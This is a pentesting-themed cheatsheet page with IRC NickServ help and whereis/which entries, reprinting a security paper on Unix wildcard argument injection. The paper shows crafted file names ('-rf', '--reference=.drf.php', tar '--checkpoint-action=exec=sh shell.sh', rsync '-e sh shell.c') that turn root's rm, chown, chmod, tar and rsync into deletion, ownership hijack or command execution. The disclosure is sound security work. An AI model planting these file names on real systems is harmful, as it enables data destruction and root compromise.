07:56:22 chat.freenode.net -- | NickServ (NickServ@services.): ***** NickServ Help *****
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.): NickServ allows users to 'register' a nickname, and stop
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.): others from using that nick. NickServ allows the owner of a
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.): nickname to disconnect a user from the network that is using
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.): their nickname.
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.):
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.): For more information on a command, type:
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.): /msg NickServ help <command>
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.): For a verbose listing of all commands, type:
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.): /msg NickServ help commands
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.):
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.): The following commands are available:
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.): GHOST Reclaims use of a nickname.
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.): IDENTIFY Identifies to services for a nickname.
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.): INFO Displays information on registrations.
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.): LISTCHANS Lists channels that you have access to.
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.): REGISTER Registers a nickname.
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.): RELEASE Releases a services enforcer.
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.): SENDPASS Email registration passwords.
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.):
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.): Other commands: ACC, ACCESS, CERT, DROP, HELP, LOGOUT,
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.): REGAIN, SETPASS, STATUS, TAXONOMY, VERIFY
07:56:22 chat.freenode.net -- | NickServ (NickServ@services.): ***** End of Help *****
#==============================##==============================#
# CMD WEECHAT #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command weechat in a clear format. This allows users to quickly access the needed information for weechat without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for weechat are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
233 - 🖥️whereis
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the whereis command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗██╗ ██╗███████╗██████╗ ███████╗██╗███████╗
# ██║ ██║██║ ██║██╔════╝██╔══██╗██╔════╝██║██╔════╝
# ██║ █╗ ██║███████║█████╗ ██████╔╝█████╗ ██║███████╗
# ██║███╗██║██╔══██║██╔══╝ ██╔══██╗██╔══╝ ██║╚════██║
# ╚███╔███╔╝██║ ██║███████╗██║ ██║███████╗██║███████║
# ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═╝╚══════╝
# The whereis command shows in output locations of the binary, source, and manual page files for a command.
whereis ls
ls: /bin/ls /usr/share/man/man1/ls.1posix.gz /usr/share/man/man1/ls.1.gz
#==============================##==============================#
# CMD WHEREIS #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command whereis in a clear format. This allows users to quickly access the needed information for whereis without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for whereis are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
234 - 🖥️which
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the which command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗██╗ ██╗██╗ ██████╗██╗ ██╗
# ██║ ██║██║ ██║██║██╔════╝██║ ██║
# ██║ █╗ ██║███████║██║██║ ███████║
# ██║███╗██║██╔══██║██║██║ ██╔══██║
# ╚███╔███╔╝██║ ██║██║╚██████╗██║ ██║
# ╚══╝╚══╝ ╚═╝ ╚═╝╚═╝ ╚═════╝╚═╝ ╚═╝
# The which command basically lets you locate a command - the file and the path of the file that gets executed. For example:
which date
/bin/date
#==============================##==============================#
# CMD WHICH #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command which in a clear format. This allows users to quickly access the needed information for which without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for which are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
235 - 🖥️wildcards
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the wildcards command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗██╗██╗ ██████╗ ██████╗ █████╗ ██████╗ ██████╗ ███████╗
# ██║ ██║██║██║ ██╔══██╗██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔════╝
# ██║ █╗ ██║██║██║ ██║ ██║██║ ███████║██████╔╝██║ ██║███████╗
# ██║███╗██║██║██║ ██║ ██║██║ ██╔══██║██╔══██╗██║ ██║╚════██║
# ╚███╔███╔╝██║███████╗██████╔╝╚██████╗██║ ██║██║ ██║██████╔╝███████║
# ╚══╝╚══╝ ╚═╝╚══════╝╚═════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝
###
# DefenseCode Unix WildCards Gone Wild
#------------------------------------#
Back To The Future: Unix Wildcards Gone Wild
============================================
- Leon Juranic <[email protected]>
- Creation Date: 04/20/2013
- Release Date: 06/25/2014
Table Of Content:
===[ 1. Introduction
===[ 2. Unix Wildcards For Dummies
===[ 3. Wildcard Wilderness
===[ 4. Something more useful...
4.1 Chown file reference trick (file owner hijacking)
4.2 Chmod file reference trick
4.3 Tar arbitrary command execution
4.4 Rsync arbitrary command execution
===[ 5. Conclusion
===[ 1. Introduction
First of all, this article has nothing to do with modern hacking
techniques like ASLR bypass, ROP exploits, 0day remote kernel exploits or Chrome's
Chain-14-Different-Bugs-To-Get-There...
Nope, nothing of the above. This article will cover one interesting
old-school Unix hacking technique, that will still work nowadays in 2013.
Hacking technique of which (to my suprise) even many security-related people haven't heard of.
That is probably because nobody ever really talked about it before.
Why I decided to write on this subject is because, to me personally, it's pretty funny
to see what can be done with simple Unix wildcard poisoning tricks.
So, from this article, what you can expect is collection of neat *nix hacking
tricks that as far as I know somehow didn't emerge earlier.
If you wonder how basic Unix tools like 'tar' or 'chown' can lead to
full system compromise, keep on reading.
Ladies and gentleman; take your seats, fasten your belts and hold on tight
- cause we're going straight back to the 80's, right to the Unix shell hacking...
(Is this bad-hair-rock/groovy disco music playing in the background? I think sooo...)
===[ 2. Unix Wildcards For Dummies
If you already know what Unix wildcards are, and how (and why) are they
used in shell scripting, you should skip this part.
However, we will include Wildcard definition here just for the sake of
consistency and for potential newcomers.
Wildcard is a character, or set of characters that can be used as a
replacement for some range/class of characters. Wildcards are interpreted
by shell before any other action is taken.
Some Shell Wildcards:
* An asterisk matches any number of characters
in a filename, including none.
? The question mark matches any single
character.
[ ] Brackets enclose a set of characters, any
one of which may match a single character
at that position.
- A hyphen used within [ ] denotes a range of
characters.
~ A tilde at the beginning of a word expands
to the name of your home directory. If you
append another user's login name to the
character, it refers to that user's home
directory.
Basic example of wildcards usage:
# ls *.php
- List all files with PHP extension
# rm *.gz
- Delete all GZIP files
# cat backup*
- Show content of all files which name is beginning with 'backup' string
# ls test?
- List all files whose name is beginning with string 'test' and has exactly
one additional character
===[ 3. Wildcard Wilderness
Wildcards as their name states, are "wild" by their nature, but moreover,
in some cases, wildcards can go berserk.
During the initial phase of playing with this interesting wildcard tricks,
I've talked with dozen old-school Unix admins and security people,
just to find out how many of them knows about wildcard tricks, and
potential danger that they pose.
To my suprise, only two of 20 people stated that they know it's not
wise to use wildcard, particulary in 'rm' command, because someone
could abuse it with "argument-like-filename". One of them said that he
heard of that years ago on some basic Linux admin course. Funny.
Simple trick behind this technique is that when using shell wildcards,
especially asterisk (*), Unix shell will interpret files beginning with hyphen
(-) character as command line arguments to executed command/program.
That leaves space for variation of classic channeling attack.
Channeling problem will arise when different kind of information channels
are combined into single channel. Practical case in form of particulary this technique
is combining arguments and filenames, as different "channels" into single,
because of using shell wildcards.
Let's check one very basic wildcard argument injection example.
[root@defensecode public]# ls -al
total 20
drwxrwxr-x. 5 leon leon 4096 Oct 28 17:04 .
drwx------. 22 leon leon 4096 Oct 28 16:15 ..
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR1
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR2
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR3
-rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file1.txt
-rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file2.txt
-rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file3.txt
-rw-rw-r--. 1 nobody nobody 0 Oct 28 16:38 -rf
We have directory with few subdirectories and few files in it.
There is also file with '-rf' filename ther owned by the user 'nobody'.
Now, let's run 'rm *' command, and check directory content again.
[root@defensecode public]# rm *
[root@defensecode public]# ls -al
total 8
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:05 .
drwx------. 22 leon leon 4096 Oct 28 16:15 ..
-rw-rw-r--. 1 nobody nobody 0 Oct 28 16:38 -rf
Directory is totally empty, except for '-rf' file in it.
All files and directories were recursively deleted, and it's pretty obvious what happened...
When we started 'rm' command with asterisk argument, all filenames in current
directory were passed as arguments to 'rm' on command line, exactly same as
following line:
[user@defensecode WILD]$ rm DIR1 DIR2 DIR3 file1.txt file2.txt file3.txt -rf
Since there is '-rf' filename in current directory, 'rm' got -rf option as the
last argument, and all files in current directory were recursively deleted.
We can also check that with strace:
[leon@defensecode WILD]$ strace rm *
execve("/bin/rm", ["rm", "DIR1", "DIR2", "DIR3", "file1.txt", "file2.txt",
"file3.txt", "-rf"], [/* 25 vars */]) = 0
^- HERE
Now we know how it's possible to inject arbitrary arguments to the unix
shell programs. In the following chapter we will discuss how we can abuse that
feature to do much more than just recursively delete files.
===[ 4. Something more useful...
Since now we know how it's possible to inject arbitrary arguments to
shell commands, let's demonstrate few examples that are more useful,
than just recursive file unlinking.
First, when I stumbled across this wildcard tricks, I was starting to look
for basic and common Unix programs that could be seriously affected
with arbitrary and unexpected arguments.
In real-world cases, following examples could be abused in form of direct
interactive shell poisoning, or through some commands started from cron job,
shell scripts, through some web application, and so on.
In all examples below, attacker is hidden behind 'leon' account, and victim
is of course - root account.
==[ 4.1 Chown file reference trick (file owner hijacking)
First really interesting target I've stumbled across is 'chown'.
Let's say that we have some publicly writeable directory with bunch of
PHP files in there, and root user wants to change owner of all PHP files to 'nobody'.
Pay attention to the file owners in the following files list.
[root@defensecode public]# ls -al
total 52
drwxrwxrwx. 2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--. 1 user user 66 Oct 28 17:36 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:35 ado.php
-rw-rw-r--. 1 user user 80 Oct 28 17:44 config.php
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:35 download.php
-rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:35 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:35 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
-rw-rw----. 1 user user 66 Oct 28 17:35 password.inc.php
-rw-rw-r--. 1 user user 94 Oct 28 17:35 script.php
Files in this public directory are mostly owned by the user named 'user',
and root user will now change that to 'nobody'.
[root@defensecode public]# chown -R nobody:nobody *.php
Let's see who owns files now...
[root@defensecode public]# ls -al
total 52
drwxrwxrwx. 2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--. 1 leon leon 66 Oct 28 17:36 admin.php
-rw-rw-r--. 1 leon leon 34 Oct 28 17:35 ado.php
-rw-rw-r--. 1 leon leon 80 Oct 28 17:44 config.php
-rw-rw-r--. 1 leon leon 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 leon leon 201 Oct 28 17:35 download.php
-rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 leon leon 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 leon leon 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 leon leon 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 leon leon 225 Oct 28 17:35 header.php
-rw-rw-r--. 1 leon leon 117 Oct 28 17:35 inc.php
-rw-rw-r--. 1 leon leon 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
-rw-rw----. 1 leon leon 66 Oct 28 17:35 password.inc.php
-rw-rw-r--. 1 leon leon 94 Oct 28 17:35 script.php
Something is not right... What happened? Somebody got drunk here.
Superuser tried to change files owner to the user:group 'nobody', but somehow,
all files are owned by the user 'leon' now.
If we take closer look, this directory previously contained just the
following two files created and owned by the user 'leon'.
-rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
Thing is that wildcard character used in 'chown' command line took arbitrary
'--reference=.drf.php' file and passed it to the chown command at
the command line as an option.
Let's check chown manual page (man chown):
--reference=RFILE
use RFILE's owner and group rather than specifying OWNER:GROUP values
So in this case, '--reference' option to 'chown' will override 'nobody:nobody'
specified as the root, and new owner of files in this directory will be exactly
same as the owner of '.drf.php', which is in this case user 'leon'.
Just for the record, '.drf' is short for Dummy Reference File. :)
To conclude, reference option can be abused to change ownership of files to some
arbitrary user. If we set some other file as argument to the --reference option,
file that's owned by some other user, not 'leon', in that case he would become owner
of all files in this directory.
With this simple chown parameter pollution, we can trick root into changing ownership
of files to arbitrary users, and practically "hijack" files that are of interest to us.
Even more, if user 'leon' previously created a symbolic link in that directory
that points to let's say /etc/shadow, ownership of /etc/shadow would also be changed
to the user 'leon'.
===[ 4.2 Chmod file reference trick
Another interesting attack vector similar to previously described 'chown'
attack is 'chmod'.
Chmod also has --reference option that can be abused to specify arbitrary
permissions on files selected with asterisk wildcard.
Chmod manual page (man chmod):
--reference=RFILE
use RFILE's mode instead of MODE values
Example is presented below.
[root@defensecode public]# ls -al
total 68
drwxrwxrwx. 2 user user 4096 Oct 29 00:41 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php
-rwxrwxrwx. 1 leon leon 0 Oct 29 00:40 .drf.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:37 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:36 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-r--r--. 1 leon leon 0 Oct 29 00:41 --reference=.drf.php
-rw-rw-r--. 1 user user 94 Oct 28 17:38 script.php
Superuser will now try to set mode 000 on all files.
[root@defensecode public]# chmod 000 *
Let's check permissions on files...
[root@defensecode public]# ls -al
total 68
drwxrwxrwx. 2 user user 4096 Oct 29 00:41 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rwxrwxrwx. 1 user user 20480 Oct 28 19:13 admin.php
-rwxrwxrwx. 1 user user 34 Oct 28 17:47 ado.php
-rwxrwxrwx. 1 user user 187 Oct 28 17:44 db.php
-rwxrwxrwx. 1 user user 201 Oct 28 17:43 download.php
-rwxrwxrwx. 1 leon leon 0 Oct 29 00:40 .drf.php
-rwxrwxrwx. 1 user user 43 Oct 28 17:35 file1.php
-rwxrwxrwx. 1 user user 56 Oct 28 17:47 footer.php
-rwxrwxrwx. 1 user user 357 Oct 28 17:36 global.php
-rwxrwxrwx. 1 user user 225 Oct 28 17:37 header.php
-rwxrwxrwx. 1 user user 117 Oct 28 17:36 inc.php
-rwxrwxrwx. 1 user user 111 Oct 28 17:38 index.php
-rw-r--r--. 1 leon leon 0 Oct 29 00:41 --reference=.drf.php
-rwxrwxrwx. 1 user user 94 Oct 28 17:38 script.php
What happened? Instead of 000, all files are now set to mode 777 because
of the '--reference' option supplied through file name..
Once again, file .drf.php owned by user 'leon' with mode 777 was
used as reference file and since --reference option is supplied, all files
will be set to mode 777.
Beside just --reference option, attacker can also create another file with
'-R' filename, to change file permissions on files in all subdirectories recursively.
===[ 4.3 Tar arbitrary command execution
Previous example is nice example of file ownership hijacking. Now, let's go to even
more interesting stuff like arbitrary command execution. Tar is very common unix program
for creating and extracting archives.
Common usage for lets say creating archives is:
[root@defensecode public]# tar cvvf archive.tar *
So, what's the problem with 'tar'?
Thing is that tar has many options, and among them, there some pretty interesting
options from arbitrary parameter injection point of view.
Let's check tar manual page (man tar):
--checkpoint[=NUMBER]
display progress messages every NUMBERth record (default 10)
--checkpoint-action=ACTION
execute ACTION on each checkpoint
There is '--checkpoint-action' option, that will specify program which will
be executed when checkpoint is reached. Basically, that allows us arbitrary
command execution.
Check the following directory:
[root@defensecode public]# ls -al
total 72
drwxrwxrwx. 2 user user 4096 Oct 28 19:34 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php
-rw-r--r--. 1 leon leon 0 Oct 28 19:19 --checkpoint=1
-rw-r--r--. 1 leon leon 0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:37 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:36 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 user user 94 Oct 28 17:38 script.php
-rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh
Now, for example, root user wants to create archive of all files in current
directory.
[root@defensecode public]# tar cf archive.tar *
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Boom! What happened? /usr/bin/id command gets executed! We've just achieved arbitrary command
execution under root privileges.
Once again, there are few files created by user 'leon'.
-rw-r--r--. 1 leon leon 0 Oct 28 19:19 --checkpoint=1
-rw-r--r--. 1 leon leon 0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
-rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh
Options '--checkpoint=1' and '--checkpoint-action=exec=sh shell.sh' are passed to the
'tar' program as command line options. Basically, they command tar to execute shell.sh
shell script upon the execution.
[root@defensecode public]# cat shell.sh
/usr/bin/id
So, with this tar argument pollution, we can basically execute arbitrary commands
with privileges of the user that runs tar. As demonstrated on the 'root' account above.
===[ 4.4 Rsync arbitrary command execution
Rsync is "a fast, versatile, remote (and local) file-copying tool", that is very
common on Unix systems.
If we check 'rsync' manual page, we can again find options that can be abused for arbitrary
command execution.
Rsync manual:
"You use rsync in the same way you use rcp. You must specify a source and a destination,
one of which may be remote."
Interesting rsync option from manual:
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
Let's abuse one example directly from the 'rsync' manual page.
Following example will copy all C files in local directory to a remote host 'foo'
in '/src' directory.
# rsync -t *.c foo:src/
Directory content:
[root@defensecode public]# ls -al
total 72
drwxrwxrwx. 2 user user 4096 Mar 28 04:47 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rwxr-xr-x. 1 user user 20480 Oct 28 19:13 admin.php
-rwxr-xr-x. 1 user user 34 Oct 28 17:47 ado.php
-rwxr-xr-x. 1 user user 187 Oct 28 17:44 db.php
-rwxr-xr-x. 1 user user 201 Oct 28 17:43 download.php
-rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x. 1 user user 43 Oct 28 17:35 file1.php
-rwxr-xr-x. 1 user user 56 Oct 28 17:47 footer.php
-rwxr-xr-x. 1 user user 357 Oct 28 17:36 global.php
-rwxr-xr-x. 1 user user 225 Oct 28 17:37 header.php
-rwxr-xr-x. 1 user user 117 Oct 28 17:36 inc.php
-rwxr-xr-x. 1 user user 111 Oct 28 17:38 index.php
-rwxr-xr-x. 1 user user 94 Oct 28 17:38 script.php
-rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c
Now root will try to copy all C files to the remote server.
[root@defensecode public]# rsync -t *.c foo:src/
rsync: connection unexpectedly closed (0 bytes received so far) [sender]
rsync error: error in rsync protocol data stream (code 12) at io.c(601) [sender=3.0.8]
Let's see what happened...
[root@defensecode public]# ls -al
total 76
drwxrwxrwx. 2 user user 4096 Mar 28 04:49 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rwxr-xr-x. 1 user user 20480 Oct 28 19:13 admin.php
-rwxr-xr-x. 1 user user 34 Oct 28 17:47 ado.php
-rwxr-xr-x. 1 user user 187 Oct 28 17:44 db.php
-rwxr-xr-x. 1 user user 201 Oct 28 17:43 download.php
-rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x. 1 user user 43 Oct 28 17:35 file1.php
-rwxr-xr-x. 1 user user 56 Oct 28 17:47 footer.php
-rwxr-xr-x. 1 user user 357 Oct 28 17:36 global.php
-rwxr-xr-x. 1 user user 225 Oct 28 17:37 header.php
-rwxr-xr-x. 1 user user 117 Oct 28 17:36 inc.php
-rwxr-xr-x. 1 user user 111 Oct 28 17:38 index.php
-rwxr-xr-x. 1 user user 94 Oct 28 17:38 script.php
-rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c
-rw-r--r--. 1 root root 101 Mar 28 04:49 shell_output.txt
There were two files owned by user 'leon', as listed below.
-rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c
After 'rsync' execution, new file shell_output.txt whose owner is root
is created in same directory.
-rw-r--r--. 1 root root 101 Mar 28 04:49 shell_output.txt
If we check its content, following data is found.
[root@defensecode public]# cat shell_output.txt
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Trick is that because of the '*.c' wildcard, 'rsync' got '-e sh shell.c' option
on command line, and shell.c will be executed upon 'rsync' start.
Content of shell.c is presented below.
[root@defensecode public]# cat shell.c
/usr/bin/id > shell_output.txt
===[ 5. Conclusion
Techniques discussed in article can be applied in different forms on various popular
Unix tools. In real-world attacks, arbitrary shell options/arguments could be hidden
among regular files, and not so easily spotted by administrator. Moreover, in case of
cron jobs, shell scripts or web applications that calls shell commands, that's not
even important. Moreover, there are probably much more popular Unix tools susceptible
to previously described wildcard attacks.
Thanks to Hrvoje Spoljar and Sec-Consult for a few ideas regarding this document.
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command wildcards in a clear format. This allows users to quickly access the needed information for wildcards without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for wildcards are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
236 - 🖥️wordlist
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the wordlist command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
